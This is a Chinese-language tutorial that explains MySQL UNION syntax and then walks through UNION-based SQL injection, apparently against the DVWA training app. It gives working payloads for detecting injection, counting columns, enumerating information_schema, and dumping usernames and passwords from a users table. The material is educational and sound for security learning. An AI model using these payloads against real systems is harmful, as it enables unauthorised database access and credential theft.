mysql中的union
语法:
SELECT ...
UNION [ALL | DISTINCT]
SELECT ...
[UNION [ALL | DISTINCT]
SELECT ...]
UNION用于把来自许多SELECT语句的结果组合到一个结果集合中。
列于每个SELECT语句的对应位置的被选择的列应具有相同的类型。(例如,被第一个语句选择的第一列应和被其它语句选择的第一列具有相同的类型。)在第一个SELECT语句中被使用的列名称也被用于结果的列名称。
只有最后一个SELECT语句可以使用INTO OUTFILE。
union注入
union注入,也叫联合查询注入
通常在order by
判断SQL语句查询结果的列数后,使用union select 或其他语句来直接查询数据,数据直接回显。
条件
- 有回显
- 注入点带入的sql语句为查询(select)语句
- union联合的多个查询的结果,其列数相同且各列的数据类型也相同。
所以,在注入点构造的查询语句,其结果的列数和各列的数据类型要和后端原有查询语句的结果的列数、类型相同。常用order by n
(使结果集按第n列的顺序排列)判断后端原有查询语句的结果有多少列,用null替代不知道类型的列。
实际测试中,不同类型也可以,但必须在类型转换中不出错。
出没处
所有可能带入查询语句的参数。
各种查询功能中的参数。
实践演示过程
- 判断是否存在注⼊,注⼊类型是数字型还是字符型
- ⽅法⼀:单引号法
报错,则有注入
\'
- ⽅法⼆:逻辑法
返回结果从有变无,则有注入
数字型:
and 1
and 0
字符型:
1\' and \'1\'=\'1
1\' and \'1\'=\'2
- ⽅法三:运算法
返回序号改变的结果,则有注入 ,数字型
为什么不用+1,因为+在url中传到服务端后会被解析成空格,这也是空格被过滤时的常用替代方法
-1
-0
1\' and \'1
返回id=1的数据
1\' and \'0
返回空
证明有注入,字符型
2. 猜字段数
1\' order by 2#
1\' order by 3#
证明原查询语句的字段数为2
3. 获显位,猜类型
1\'union select 11,22#
证明原查询语句的2个字段都显示在页面上,有两个显位
如果只显示admin,则前端只显示查询结果集的第一行,可以用-1让union前的查询语句不出结果,让结果集第一行为union后的查询结果
此处省略了猜字段类型,可用null代替不知类型的字段,用字符和数字探测类型
- 获取数据/信息
- 查当前数据库和数据库⽤户名
-1\' union select database(),user() #
- 查当前的数据库版本和操作系统
-1\' union select version(),@@version_compile_os#
mysql不同版本一些细节也不同
MySQL版本⼩于4.0时,不⽀持union select联合查询
MySQL版本⼤于5.0时,有默认数据库information_schema,保存了 Mysql所有数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
- 查当前库的表名
-1\' union select table_name,table_schema from information_schema.tables where table_schema= \'dvwa\'#
- 查某表的列名
-1\' union select 1,group_concat(column_name) from information_schema.columns where table_name=\'users\' #
group_concat能将属于users表的列名组合到一行显示
- 查某表某列的值
-1\' union select user,password from users#